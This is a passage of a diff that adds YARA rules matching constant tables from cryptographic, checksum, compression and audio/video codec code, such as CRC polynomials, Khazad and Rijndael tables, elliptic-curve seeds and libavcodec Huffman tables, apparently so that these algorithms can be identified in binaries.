+	$a0 = { 56ae3aa5b6f570bf3251832c3cb8773f702c72d345306b3ff766c7aed9328d3fcb5801cd6d047e3f12781fb3dbc4b0bf45530bfb6feea13fbcc801e03bcf8abff7b83921201dd03f44705d59e7edda3fb93c5e8e73e1d5bfa6a1a661e631cfbf999668374e18a93f259cbf906cc2c6bf501433b33dedd03fcffc2eb4fcc0cd3fc701848857eca03fae6dc1fd8cf5dd3fdde7c4894f26e13fa3f2afcf6b6588bf35d97f3ed772d9bfd3d5a0edbca7a1bf615bd839ef269e3fe5f3c37961a5d8bf346ae30a62f1d4bf708eaa9c5cd1c2bf41e9416611d1b5bfec165aee811ec3bf2e911590c025b8bf437eba54ee5fb93fb7fdd4f57eae863f50b2965890e774bf14c6b5b86de8b73f2fee1ac5a334c13fc2588d6b2ce6ba3f0d449660a9b5a53f2db51beaaecab03ff82b82a1b9a19b3fa1f6a846d133a1bf303573c7a46e92bffb951ccc3185a53f434cce6503b5a33f1ef5eaf3b31899bf3ac86595c772a1bf28d71acc84ee9dbf7673fa60c70ba8bfcce9f07d9036b8bff9154a7bd18cc3bf95b0bed610bac3bf44129af10d6eb6bf81486d171b37a1bfc8c87c53bf827dbf96181c4fa8f1803fca45c863aee1953f9d6d199a665ba63f2298394dddfbac3f765d0c458a58b13fc53fe67bb6c8ac3f6eb66b51704fa23f7f21f4cec39b993f37f035e184968f3ff4d5a060952f803f047f2cb6fe1076bfba635003679f7cbfe95947131fa288bf9f84814b71d599bf474f6a1ec0da9abf40df3cac766198bfe2ef72c210a4a0bfab4805bea95ca0bfc8fc295ec84692bf94bbf0be270891bf9b89f173ad9290bfc97a071b23e187bfc97a065c69fb6cbfc277d6bfd2f941bf178efece37335e3faf84995802d4873ff45a1e4c0bc6923f1e658e6328f0943f513114818e6c813f9a12059b79c33e3f9cf4a4b015ee5bbf2066603b8a5b62bfc710d6ec29324cbf41fbe34ec6d670bfbe67717e6ce66cbf6fb27c7d38be83bf75bf8308a3eb91bfd5a8f2a6e9f98fbf8e24380f151986bfba5024242c8583bf45041f1392987ebf19da31246f6f5fbf32d96f368ea123bf2be0cd5e516a68bf2eda52704fb57abfaa0f8ec6a65b023f43d2eb0f18ef823f90643e77d744843ff86fda9b5e08813f8408a2d073bd723fe6d5f544c3f810bffe688a88a67172bf023000183e4f71bf4c3b3c0969a467bf7a8894cc89487abf8dd116de3f507dbfeac11e8dd91a82bfca75dc8cfe868dbfece3445ad09c8fbf3aa309caf9ee82bfa534ce00ebab61bf478ef0656c61673fd661b2e25569663f1cb2aea9aed549bfdd6cab1f35bf6abfc1a78afc67c96fbf4434626162eb6cbfc66863baa0906fbfeb7263824b8853bf3ea017d3ebf960bf64a71202856b74bf8aac2d0d675b71bf66b0ad6220d368bf39a55fe5953357bf7edbf271f3a740bf02a6a41d4b00373f }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi2__32_big_128_
+{
+strings:
+	$a0 = { 000000050000000e0000001a000000120000000b0000001c000000070000001000000000000000170000001400000016000000010000000a00000004000000080000001e00000003000000150000000900000011000000180000001d00000006000000130000000c0000000f0000000d00000002000000190000001f0000001b }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xbdbdf21c__32_big_refl_False_
+{
+strings:
+	$a0 = { 00000000bdbdf21cc6c616247b7be4383031de548d8c2c48f6f7c8704b4a3a6c6063bca8ddde4eb4a6a5aa8c1b185890505262fcedef90e0969474d82b2986c4c0c779507d7a8b4c06016f74bbbc9d68f0f6a7044d4b55183630b1208b8d433ca0a4c5f81d1937e46662d3dcdbdf21c090951bac2d28e9b056530d88ebeeff943c3300bc818ef2a0faf516984748e4840c02dee8b1bf2cf4cac4c8cc77793ad05c50bc14e1ed4e089a96aa30272b582c6c616240d1dc905caaa77464171a8678fcf479ec41498bf03a326fc8878f9dd4ccc5a7b8717855a40a03b19cb7be43809c97c544212a37585a51d360e7ec217caca61b10111be90c6a600d34d7ddff2878660178c5dbf364bea0175c031de5404857df2cf5ea2d308e91c908332c3b141805bdd0a5b84fccdec3abf4637e59e82834638495899198eef275a0534f87bcb8a17828051c8a347e676e0cc3da9c108890a67c352d54604e56b058f3eb4244d8c2c480657f369c1e04d2a4a3b920b8e8f31ad4554ee8c82e350cf09388feec445501c4f9e8f3d8829317e03f2ee5fc7464df90c9d92d8cb2a2c9b40f1f3ba82436bd6c998b4f70e2f0ab485f4d595414076338a9ba9124d2c1751c6f7c870084927894392f8a8842546eb0ffe99cacb4a3a6c0091e54dc7265b0e4cfd842f8e4f1c43c594c36202237d2189f8a2004d4c01a68697de87412060c4cafbbfe50f0cc02f04d71f0ec360a14d48bb7e6c8c0fddca47d402eb8063bca80bb86389c90afbe582d124c445669a87cebd45a60a09e600c1d23921066587628dbe58434300b7ba08db689bcf6cd6d844b709f98003aa5f4bd8757e8c6fcb3d07b4141cc5068c708edd5351496aed12c2b1323306059195cdde4eb40a69f0f781b22fd64ccff024c7142f0500a391468b784e674fccedc1841732e043a08ca3c87b53820ac9cbee411214cf86a5aa8c0d7e75adc9cad60b0211092ac5a6b7694e7d684880c387b1cb1858900cafe6d3877439f243c09a54881b45754facfb36c477241706c5bc7b4d1e635a8aa9dd1901720238c5c6a19e0e1d7ebfc9aac0fc42711fdd888aa03883517f1944e6c15acf3d1e7b0b89bdddc05262fc07e5dcbf8c3e039e4e8c9bf2055744d3c2e0fa90493b25b18d8f86174654593681e3e7750a383854c486d7ad8f5d088c48eab6cfc33169ee0785ca48cc5e15690be9ab2a8032740b4280ec67095b3346ceec8d05453752248183f1824a582ea38def90e006344fc1cb49903340924f128725f1510cfe2e70c84a8dd6039152f7c426ecb44ffd33958d4fabf9c69474d80123ca9b8af815ba4e4cb61c8597693d4220d77ec9fb085f0745e7a64c9e38878b2986c400f259e5c446fa430f9d2562c82a9b2143f144008143dc6cca98034d0d2fbd0e86f4622f4240c189899b1ea84e2ca0ebc5f77fca0 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab13__16_big_1022_
+{
+strings:
+	$a0 = { FE03FE09FE25FE6BFEB3FEF7FF33FF67FF8DFFADFFCBFFDDFFEBFFF3FFF7FFF9FFFBFFFDFFFF00FE00FC00FD00ED00FFFFFF00EF00DFFFFDFFFF00EE00CFFFFF00DE00BFFFF7FFFDFFFF00FB00CEFFFF00DCFFFF00AF00E9FFFF00EC00DDFFF7FFFBFFFDFFFF00FA00CD00BEFFFF00EB009FFFFDFFFF00F900EAFFFF00BD00DBFFEFFFF7FFFDFFFF008F00F8FFFF00CCFFFF00AE009EFFFBFFFF008EFFFF007F007E00F7FFFBFFFF00DAFFFF00AD00BCFFFDFFFF00CB00F6006FFFF1FFF9FFFDFFFF00E8005FFFFF009D00D9FFFDFFFF00F500E7FFFF00AC00BBFFF7FFFDFFFF004F00F4FFFDFFFF00CA00E600F3FFFF003FFFFF008D00D8FFEBFFF7FFFDFFFF002F00F2FFFDFFFF006E009C000FFFFBFFFDFFFF00C9005E00ABFFFDFFFF007D00D7004EFFF5FFFBFFFDFFFF00C800D6003EFFFF00B9FFFF009B00AAFFFF001F00F1FFE9FFF3FFFBFFFF00F0FFFF00BA00E5FFFDFFFF00E4008CFFFF006D00E3FFFBFFFF00E2FFFF002E000EFFFF001E00E1FFF1FFF9FFFDFFFF00E0005DFFFF00D5007CFFFDFFFF00C7004DFFFF008B00B8FFF9FFFDFFFF00D4009AFFFF00A9006CFFFF00C6003DFFDBFFEBFFF7FFFBFFFDFFFF00D3007B002DFFFF00D2001DFFFBFFFF00B7FFFF005C00C5FFFDFFFF0099007A00C3FFF9FFFBFFFDFFFF00A70097004B00D1FFFDFFFF000D00D0FFFF008A00A8FFF5FFF9FFFDFFFF004C00C4FFFF006B00B6FFFF003C002CFFFDFFFF00C2005BFFFDFFFF00B50089001CFFD5FFE9FFF5FFFBFFFF00C1FFFF0098000CFFFF00C0FFFF00B4006AFFFBFFFDFFFF00A60079003BFFFF00B3FFFF0088005AFFF5FFFBFFFF002BFFFF00A50069FFFF00A4FFFF00780087FFFBFFFF0094FFFF0077007600B2FFF5FFFDFFFF001B00B1FFFDFFFF000B00B0FFFF0096004AFFF9FFFDFFFF003A00A3FFFF00590095FFFF002A00A2FFD1FFE9FFF7FFFDFFFF001A00A1FFFDFFFF000A006800A0FFFBFFFDFFFF008600490093FFFDFFFF00390058FFFF00850067FFF7FFFDFFFF00290092FFFDFFFF005700750038FFFBFFFF0083FFFF00660047FFFDFFFF00740056FFFF00650073FFF5FFFDFFFF00190091FFFDFFFF00090090FFFF00480084FFF9FFFBFFFF0072FFFF004600640028FFFF00820018FFD7FFE5FFF5FFFBFFFDFFFF003700270017FFFF0071FFFF00550007FFF9FFFDFFFF00700036FFFF00630045FFFDFFFF00540026FFFF00620035FFFBFFFF0081FFFF00080080FFFDFFFF00160061FFFF00060060FFF3FFF7FFFBFFFDFFFF005300440025FFFF00520005FFFF00150051FFF9FFFDFFFF00340043FFFF00500024FFFDFFFF004200330014FFEDFFF5FFFBFFFF0041FFFF00040040FFFDFFFF002300320013FFFDFFFF00310003FFFF00300022FFFDFFFF00120021FFFF00020020FFFDFFFF0011000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_PRIME_112R2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 002757a1114d696e6768756151755316c05e0bd4 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U1__32_lil_1024_
+{
+strings:
+	$a0 = { d268bad34d1954fcbc932f71cdb9749c510253f56bb8d3686fbdd26b29644dd75d0d50f08a26ace90e838d8ac679bfdcddad7090550752f652c89ab32d614cd48f65ea2373a6d56266f197a463b2d16eccff3355590851f3712a5beda204a6f75f81de7f3d7548d89a32a8e55ec799b64b90db70c8fa3256e651b7c4d72bfc19ab48e33842dc9ebf7eef91ae56cd9bb0af4de23bd66dbbd0195841c3a5cb6eb2ae0ba5f20bc0cb40b1da6bbd6efb95a2be1fa1feeb18f308fe4fb1ce080a020617dbcc4937f3c45174691d275044143c2be8c35891f263a54f95da7369345de7613e5fe1578bdc79e9947d8713decd4ae19e7f81752f5aeeadc16cb46d315ce4fb0cf70498be266adb24ff1c937eed2a876fe8254ed39dbaa1ce6fb1028c8e8f647d192bba1aa0fde717f00d1e9789863c330f111c1b07098629afeccb30fb10202808185441153f34390d171014040c040501038de964ac5b84df7cc5b3769af980798b538edd7af4c93d47584e163afcc33f41dceb3759a9c46db7e0d83848de67b9d6d1a27395836ae926d4e1355f491c55ffd9a87193f18a7b8d0a868c89d5a772961a928885ff09f607a8822a7ef8c63e42653b5ee29cbb2769054346ca303c0c1489ec65afbdd568b899f861a30c0f030523e2c15e411657f97fa9d667439ad9767d2558e8479fd87585e366aa7bacd764e8d23a4e07cfc845f0cc3c44cf35fa1362f496a7a601a7f45ac298b5977bec29da62b8d53bfcc754822caeefb9d069bb317a4bdd963dabe09e37a9e681e667a928220a1e014647c9ef1df20bee5bb5c288aa2266b356e5329f71ee2fc27cbedfac872b7d3ebf819e485a123636b583986c771b2d38360e128caf2365f306f502094c45cf84a521631fd1ce4f397049dbb09c2c74c33af916bf59e637e254b6c7a08828785c4b173932b0829b68721a2e169d8b80df21fe1f12988a83242d091b03cac94626a18794256b4ed2a342e13eb8962e72b753e431a747e03d8b60eb207aea90adaa0ea4f178661e222eab85929dfd60a00000000094b1256ff703f401e312f10e6afe94a12c270b1dbb5ce734c9bc759f9b74ef2cd0e4345cc4f5315377a3d46167b7d06d22a48697e59b7e828e23adead32efd1aa48d297bc0f03050ecd73b4d46d99fbcc73ff8153ff9c6574c5f1335181e060a1411050f33f6c55244551133c1b67799ed917c84f58f7a8efd857888d8ee365a706c1c24e4dd394b792059eb60781828451356faf645b3c8fa4ab0cd90b4246c80a02060f240b2cb72e092abb615a3f827e7c05d0d4944cc95f762a640501030ea5eb4c12aae8491115243c576e593a82fedc25b357f4adece73bdda06898f8cb4992d77ca76bcd94ad69cb9b5df6abe1d5d40c01bd4cf4cb210a2fb3aba809d216e4fd17c631f210fc5ca439238aae3155742c6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap5__16_big_1536_
+{
+strings:
+	$a0 = { F2BEB2EE0B93257612344CD9C2CFE6FB45070F14DFD8B41B1173019CBA2FE09B02B3BC650DFC093B1AE60EB318EBAFD6BCB2C8CBFA8CA27D20B5CF07E077AC23C2EA0C8E1FA9E8B310F714310A7BBE4AEBE6BF5218CCD65432C39C64A9B60FFBF4C0DF52E8B0BCFAF5B25A5CEC19C837A89D54ED0E690B91F675BAB562430A93063A0007B835233210AE02DBFE56FD80A371609C160A0264FECCFC3CFD0104F400E1066300AD0394154F195D132629405A01BD0C4343ADC2B6E41348F2A40D1DFA923C80AA46C6ED053B021EE52EF732D0DAF3FDB1F3AF72F8F52DFF053F22D502B55FB1AB9624F612492426E1793E20EA49F436DC2FFABDA7ED3244FE9213D4F9414FCBFEE5F495F8A2E757FC55F7DFFA890DB9F3A7FDE7EC2D2C044BC403DD092910391689EF4F00E9FE71AA7AFB8EBFA6170E1570F3752717CF0E498D51C4FB7A06FEFB731396FB51190FDF1EADD20764F2320EE7E92A402B4F40F598D295EFCDB879A74A3A00436828B31E542F084A0C09DDAC55B703D56F1110E47511BBF9DA0802168060B43E6F450EFDE6A6AD2B3B283D01810210DEEFF42FC01BA53B406B0E4616D0023F2E72079B624519FD19E1F244F8540F0AFE7AFF8C465551A437F3E23BD5562E1AED07F48CCBEAE179547608DBFDBDDB29FD14ACB7304F2049DF83055FBA490B692366561E47DE21BBFA21F68EB889C672F4553B19F2FD571C3636CAB916F2B5AE3CE32C56AEFE07B3062DE4D5AC4009970041019E0203EE8CFD67EDC0007DB4EA53F7B0B3F8B0F87AFF2DFC021445D026F911A402EE3E16B50141E74539361B3FF9130363CA0A0C6C1EF701BC4C600C4AE5FC2FDCF84C4400A128CD64FD173814FBAD5CBEDA61B858476CE11BE2954AAE1E29CE8D07863AFDCDD00869547F0748F7AE5B7842A0C313F9F80057207AD1D038F5AF911ED3F7CD4C90591EBC68F808011DF0E9DFEAB86E29E4CA50CB63F97E380F1310B1BE03C4EF83FF4C9FEABF054D0C172512A9113EF6415BC5C0F30B66FBF2F8264A1EF614341F057DE7CEFB9009B93566586EE371FF7FF518C976418759E402D80D4500A20BDE03E12246AA2FE62F038ECF64A88EF5BEEB514C402690F889B89EB7B6C58E12981BCF206AF45E651E1DECE12703FC17F43B174945A0CEE67FE61D1EF42F5DDB0DA266157E03A9BD60EB0309DA01470469FE7A3D9E4DF3D7742BA4F3DD3A05D180E065B9F8A8F1BCABE56DCDC2F784E693172730AAA8ADFE0F0142040EE60DEAE44F57043BA638DED22F62FD060A3F13CB4D00F893FFE2FEBB005503DBE93A1074DCBA23A19E32E1441C74CFFC3272ABA851CDF9A2E1F2F775DEB3EA1C9D94E5F40184A7F905F6237A00C1E145A8DC142B016A03B0FEFD0EF0D1B61DA7A57862FE5CDBD6F8101BAD8952B557A7FCBAED8D55231828FF86066AFD335FB84DAFF80503DA0007FFC9954FFF7909850103005901335F7EF0DFEAF1FCCCF6AD01691599169848FA00F2AA78F05D5720118302D2D02E1D923C5821E10BC14FD55274AD94F3F8FB940A91F8DF152CFCEF48644224CB33BF83C5F6B099C87308AB056453E2FB9801470053F77F540DF0F0C89CFF34F77103B9DB2E3E02D62AF3615226FE5BFA9F0280DFD1AE10087E10D54852DC74B871C3620E78E8C901C1DF3D0433A93EEC800B8931F4476D05963A5954E3F49F0191ED7DB17706A3FB850D79147922955676E28505ABF796218846C8C3024B77E8990DAD0B19170918FD21B659EA09A30B8C017B1647A9E1F773BDBDFDAE4986EB51066803060B50FA700E02F70C4DC6F8E2B77152E3C94FCEE34052027BF832B48EBF712FB0BF40E152DA3603F4AB730B43CE580911FC1301D7F1D31F6DD4B163BD102DAC20F58F02F4FD69FDF5195A21534B594A0517CCDB7D4245601736C82758FDE8D73AE02D0861A60CBD4F154BEECFC5E75028B881DA0BD193BA59F70EC8D8081657C3068702D5DEA639250DC1AF9F1A1120084F18113AFAAAFDB704CDF66F1D2BE4143563DFCA5778BC58F8740F23DC98F11C03BE0109EED10B8FC1D94C8E135AFBAF4659D93DB927F0EA2BAA16BDC6FCFB3525BC54732BDCD237FD2FF95C006DF7A2003DE58C9FD5A80815E8F85BF91FFC0CA350EE9DF580C6A9EF5626BF212FFC824FD6CA04BC8D008B }
+
+condition:
+	$a0
+}
+
+	
+rule m_huffman_c__from_doomsday___flt32___32_big_1024_
+{
+strings:
+	$a0 = { 3e85cf643c8a95093dcc57f63becf2e23da1a48f3b5885413b82feec3d52753f3b9f5d573b03615e3cc18f883a85e0643c30d1533aa80a613a91ab583a4c110b3bc183e03a3f1d073b3a30413c447aee3bc3ff713a3eca213bb60a183a572f4a3b70d5b03aa917ce3ad88f9e3b3e0f9a3a9d764d3a71f4633a8326a53a7722cb3c0f47173a1bfa573ab41a6b3a9611693b6d00b33aa3fe203ab1ff913ae1d8183a64c91b3a83b7b93a2aa87d3aa2dbf93a9e4c763ad1adfc3ab260483aaeadd63b87bb573ad168e63af293473a8a0f303a4e10433a8548683b17e3b93a81cd3a3ab09f3d3afcb8d33ac4ac273b0337eb3afd73593ab3abe23a9e5a473ae0bcda3ba522013b272d503b0ad4133b50434b3afc19ee3ac3f1a03ad76d773ae077c43ac87a3b3aa49d043ac7aafb3aa8e7723abec3383a21f7ff3a314bf23a5b8e723b4a18bc3a19b60a3a8257653a8a6fe73a676e203b166b383a8d37773a850a3b3aae8b4b3aeed3043b6e0aac3a8525dd3a62d7b43a412a113a1cd7683a33826f3b54cbe63ac46dfa3a46fe453a3a946d3a72fae73a592e823a5b2dba3a320d623ab0a6253a4987a83a3ded103a9a77793a3abde03a35ab1a3a477a9f3a2ceccb3bd5c9c83a2dc9dc3a7defb33ace70fb3aab40793abf99613ab8b0d73a81d4233a9fe40e3b08fada3aa1b2ea3a4c9b363a2bf4173a1a69a83baf7b5c3b3c2c053c47fb4a3a92fddb3aa50b8d3aa2b2863a11058b39ef4f5e3a13657b39e3540e3a0533ae3a12f6f23a089a233a0c45ac3a07cae23a3159c43a1c23ca3a3167953c34987f3aaac4203acf85503aa6d3813aa3b90a3a9717ed3a82b81d3a0a015f3a4397d13a81b1983aa71f7f3a9251253ac7f0103a9c84823a9d6f643a274fda3c1fd7f73a126cc83a546ea33a4804ca3ab4b2673ab720273aaad1f13aa542d13aaca7b53acb2d113a9d841e3a98dfe13a8548683aa65e0f3a892b3639fa6d9d3c13a0343a0985053a09bc493a1235833a0578c43a3d0ffe3a0785cd3a449e563a63540e3a501d4c3a37499b3a8c98933a67604f3a399bb93a33fec93a3b2c683c1c92533a2f762e3a6c73143a8ec8273a9a854a3a85ee353a8afa123a9526863ae3d0673adbcc9f3add3ac33ada6c4b3afaabca3aea3c983af293473b5315383c298ef93b1f7fe23b23d8213aa8b7163a93d4043a9c4d3e3a90287a3a87df9c3a9426ea3a904b053a85ee353a825e4e3a93b1793a87bd113a8d9f173a930bac3c199cff3a8d60ea3aa213a13aa2a4b53aacdefa3a8aec413a89fa763a8e3dfc3a9ad8303a6077c43aa8488e3a937a353aadc9dc3abc78023ac24c373ac2ffd53bbf01653aa780363ace47883ae43ef03aaba8193aaed7493a6e48d93ac49e563aef9b5c3ad514703af86e653b2e68c13b6ea9913b5ee3a13ba5732d3c25073c }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_CHAR2_409B_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 4099b5a457f9d69f79213d094c4bcd4d4262210b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ape_filter_orders__16_big_30_
+{
+strings:
+	$a0 = { 000000000000001000000000004000000000002001000000001001000500 }
+
+condition:
+	$a0
+}
+
+	
+rule Rar___unlzx_table_two__32_lil_128_
+{
+strings:
+	$a0 = { 000000000100000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c000000000010000800100000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c00000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x05EC76F1__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000f176ec05e2edd80b139b340ec4dbb11735ad5d122636691cd740851988b7632f79c18f2a6a5abb249b2c57214c6cd238bd1a3e3dae810a335ff7e636106fc75ee1192b5bf2821f5503f4f350d4b4764925c29a4c3659ae42c72f424798d8a47169ae48747a357c7a8b43907f5c031566ad75f963beeecd6d4f98216820de8ebdd1a862b8c23356b63345bab3e4053faa1573d3af06e8e7a1f79e0ba4a869ed92591f01974a843599bbf2d99c6cb25c859dc4b0808e5f848e7f29688b30b149e3c1c7a5e6d25c91e8232a7dedf46af8f4051c14f1168720ffe7f1ccfab8062acc4970c6c95aebf2c7ab9d1ec27cdd9bdb8dab77de9e3043d06f46afd5b1caf17e40bc1d7b53272975a251c570751140698467ac6c97fc9862668a7467397d9251c80b7e54db904a5a2ae6a65ffda623460cd0cf431f4bfb4dee3d1748a1a5362050d3da254348ee2bb23e022e657e873794086b3287935f3c76e5b3392912550fd864b90acbff8d043a896101edc9e4181cbf081d0f243c13fe52d01691147fc3606293c673f9a7c8828f4bcd55cfced4a4b922d1b72216df4654fada19a31cece8d5f0e9fb4ec4e70a3828e2dd78adfb2c0e41fe3f9575f0cee399f5817bb89d700d54986396609692e08c9345a0098ab4d6e58fa74dd181563b3d8409ccdbb2f8ba37b7eb2103b91a57efbccd176aa53c6186a02ffab2aede8c5eab6295e3fd93e30ff880783bf6710ed7f3a64e52ea5738beef44a38ae1b5d566e4ea2280d21b546cd708cf58d9f9b9b4dc2ef931c5df8fddc0cc14e9ce3d6205cb72fa24a3838cc8a69017fca8616110adb62195b4475779b154cc4dbfa5baa1bafa4d478c0b3bab8918a09f87e9d673823e96f69bcfe01a9edc7b2e902d0dc295424b6d40b33d8145a0a6b54b51d0594e8690dc5777e63052647d045c950be859cafc0e6f3b8ae26a2811d664d9673a610e27bf78ff51537decca67731dbc8b765224aa1ea352461bb0c9721541bf9e1096ff1b096789f70c7412c30285642f07da93c9312be52534387e113ac908fd3f1e487826ef3e9423fca5a02d0dd34c28d35f12832229fe8631b2ca88c0c4268d1784a394e6f24f91f5697b9f041f979a5be871acaa9e9da9b905a9a7487345a29f33c0bb6e452cbe7dde18b08ca8f4b5c330d5dd324639d821dd0dd6d0abe1d307eb64caf69d88cfe506bcc1147050c44b87b6f2baf15af7a96a6ef9581c82fc8f5c07e57e2aebe06db1dfee9cc733ebf3819c3e02f7703b116c4435e01aa830375a2d29c62cc12cd5b7f52224c119277b36ff118a40131499db271a68adcb1fbfed4e064e9ba2035d00960dac767a08e3ee5b601298b7650103836bf0756f6e2735ea77d6430672c5d8327c34aede796b59384f9a2fd44a89b4e04478c20c41af8289585ef4655d4d6f5153bc19bd56 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_scale_factor_float__flt32___32_lil_100_
+{
+strings:
+	$a0 = { 00000038000080370000003700008036000000360000803500000035000080340000003400008033000000330000803200000032000080310000003100008030000000300000802f0000002f0000802e0000002e0000802d0000002d0000802c0000002c }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_booksc1__32_lil_1452_
+{
+strings:
+	$a0 = { 0000000012000000e8ff03000100000012000000e6ff03000200000012000000e7ff03000300000012000000e5ff03000400000013000000f5ff07000500000013000000f1ff07000600000013000000edff07000700000013000000f6ff07000800000013000000eeff07000900000013000000efff07000a00000013000000f0ff07000b00000013000000fcff07000c00000013000000fdff07000d00000013000000ffff07000e00000013000000feff07000f00000013000000f7ff07001000000013000000f8ff07001100000013000000fbff07001200000013000000f9ff07001300000012000000e4ff03001400000013000000faff07001500000012000000e3ff03001600000011000000efff01001700000011000000f0ff01001800000010000000f5ff00001900000011000000eeff01001a00000010000000f2ff00001b00000010000000f3ff00001c00000010000000f4ff00001d00000010000000f1ff00001e0000000f000000f67f00001f0000000f000000f77f0000200000000e000000f93f0000210000000e000000f53f0000220000000e000000f73f0000230000000e000000f33f0000240000000e000000f63f0000250000000e000000f23f0000260000000d000000f71f0000270000000d000000f51f0000280000000c000000f90f0000290000000c000000f70f00002a0000000c000000f60f00002b0000000b000000f90700002c0000000c000000f40f00002d0000000b000000f80700002e0000000a000000f90300002f0000000a000000f7030000300000000a000000f50300003100000009000000f80100003200000009000000f70100003300000008000000fa0000003400000008000000f80000003500000008000000f600000036000000070000007900000037000000060000003a00000038000000060000003800000039000000050000001a0000003a000000040000000b0000003b00000003000000040000003c00000001000000000000003d000000040000000a0000003e000000040000000c0000003f000000050000001b00000040000000060000003900000041000000060000003b00000042000000070000007800000043000000070000007a0000004400000008000000f70000004500000008000000f90000004600000009000000f60100004700000009000000f9010000480000000a000000f4030000490000000a000000f60300004a0000000a000000f80300004b0000000b000000f50700004c0000000b000000f40700004d0000000b000000f60700004e0000000b000000f70700004f0000000c000000f50f0000500000000c000000f80f0000510000000d000000f41f0000520000000d000000f61f0000530000000d000000f81f0000540000000e000000f83f0000550000000e000000f43f00005600000010000000f0ff0000570000000f000000f47f00005800000010000000f6ff0000590000000f000000f57f00005a00000012000000e2ff03005b00000013000000d9ff07005c00000013000000daff07005d00000013000000dbff07005e00000013000000dcff07005f00000013000000ddff07006000000013000000deff07006100000013000000d8ff07006200000013000000d2ff07006300000013000000d3ff07006400000013000000d4ff07006500000013000000d5ff07006600000013000000d6ff07006700000013000000f2ff07006800000013000000dfff07006900000013000000e7ff07006a00000013000000e8ff07006b00000013000000e9ff07006c00000013000000eaff07006d00000013000000ebff07006e00000013000000e6ff07006f00000013000000e0ff07007000000013000000e1ff07007100000013000000e2ff07007200000013000000e3ff07007300000013000000e4ff07007400000013000000e5ff07007500000013000000d7ff07007600000013000000ecff07007700000013000000f4ff07007800000013000000f3ff0700 }
+
+condition:
+	$a0
+}
+
+	
+rule LZ_Huffman__lzhuf_lha__decoding_table__8_byt_256_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000000000000000000000000000000000000101010101010101010101010101010102020202020202020202020202020202030303030303030303030303030303030404040404040404050505050505050506060606060606060707070707070707080808080808080809090909090909090a0a0a0a0a0a0a0a0b0b0b0b0b0b0b0b0c0c0c0c0d0d0d0d0e0e0e0e0f0f0f0f1010101011111111121212121313131314141414151515151616161617171717181819191a1a1b1b1c1c1d1d1e1e1f1f20202121222223232424252526262727282829292a2a2b2b2c2c2d2d2e2e2f2f303132333435363738393a3b3c3d3e3f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_intrax8_zero_prediction_weights__16_big_256_
+{
+strings:
+	$a0 = { 02800280029d01e002c4016202ec0101031800c602f8008f032800650304004801e0029d02190219025601a00295013c02cf00fa02c300b90300008602e90061016202c401a0025601e801e802340184027a013d028200f102cc00b302c20084010102ec013c02950184023401d501d5021f018b023b0137028f00ee029400b400c6031800fa02cf013d027a018b021f01d501d501fb017c0255012b026800e700a1035700ce0314010a02c60154026f019b022401c701c70224016e02400120007a03cc009f039200d3034a011402f6015502aa0185024801e301e302080186006e04940090045300c1040400fe03a4013d034e016e02db01ca026301f301f3 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_rcon__32_big_40_
+{
+strings:
+	$a0 = { 01000000020000000400000008000000100000002000000040000000800000001b00000036000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_acelp_interp_filter__16_big_122_
+{
+strings:
+	$a0 = { 73036EBA62774FE1396D21F50C47FAB8EECEE917E926EDBFF521FD6004BB09E80C3A0BAF08D304920000FC17F98CF8B4F97EFB85FE3000DA02F40424044B038802260087FF0BFDFEFD86FDA6FE3DFF19000000BF01340154012800C6004EFFDCFF88FF5DFF5BFF7CFFB1FFED00220049005B0059004600260000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg4_intRA_rvlc__16_lil_680_
+{
+strings:
+	$a0 = { 06000300070003000a000400090005001400060015000600340007007400080075000800dd000900ec000900ec010a00ed010a00f4010a00ec030b00ed030b00f4030b007d070c00bc070c00bd0f0d00dc0f0d00bd070c00dd0f0d00bd1f0e00dc1f0e00dd1f0e00fc1f0f0001000400080005002d0007006c0008006d000800dc000900dd010a00dc030b00dd030b007c070c00bc0f0d007d1f0e00bc1f0e00040005002c000700bc000900dc010a00bc030b00bd030b00fd0e0d007c0f0d007d0f0d00fd1e0e007c1f0e00050005005c000800bd0009007d030b00fc060c00fc0e0d00fd1d0e00fc1e0e00fd1f0f000c0006005d000800bd010a00fd030c00fd060c00fd1b0e000d0006007d000900fc020b00fc050c00fc1b0e00fc1d0e001c0007007c010a00fd020b00fd050c00fc2f0f001d0007007d010a007c030b00fd0d0d00fd2f0f003c000800bc010a00fd0b0d00fd170e003d000800fd010b00fc0d0d00fc370f007c000900fc030c00fc000a00fc0b0d00fd000a00fd370f00fc010b00fc070d00fd070d00fc0f0e00fd0f0e00fc170e00fc3b0f000b00040078000800f5030b00ec0f0d00ec1f0e0012000500ed000900dc070c00ed1f0e00fd3b0f0013000500f8030b00fc3d0f0018000600dd070c0019000600ec070c0022000600ed0f0d0023000600f40f0d0035000700f50f0d0038000700f80f0d0039000700f90f0d0042000700f41f0e0043000700f51f0e0079000800f81f0e0082000800fd3d0f0083000800f4000900f5000900f8000900f90009000201090003010900f5010a00f8010a00f9010a0002020a0003020a00f9030b0002040b0003040b00ed070c00f4070c00f5070c00f8070c00f9070c0002080c0003080c0002100d0003100d00f91f0e0002200e0003200e00fc3e0f00fd3e0f007c3f0f007d3f0f0000000400 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0x80f__16_big_refl_True_
+{
+strings:
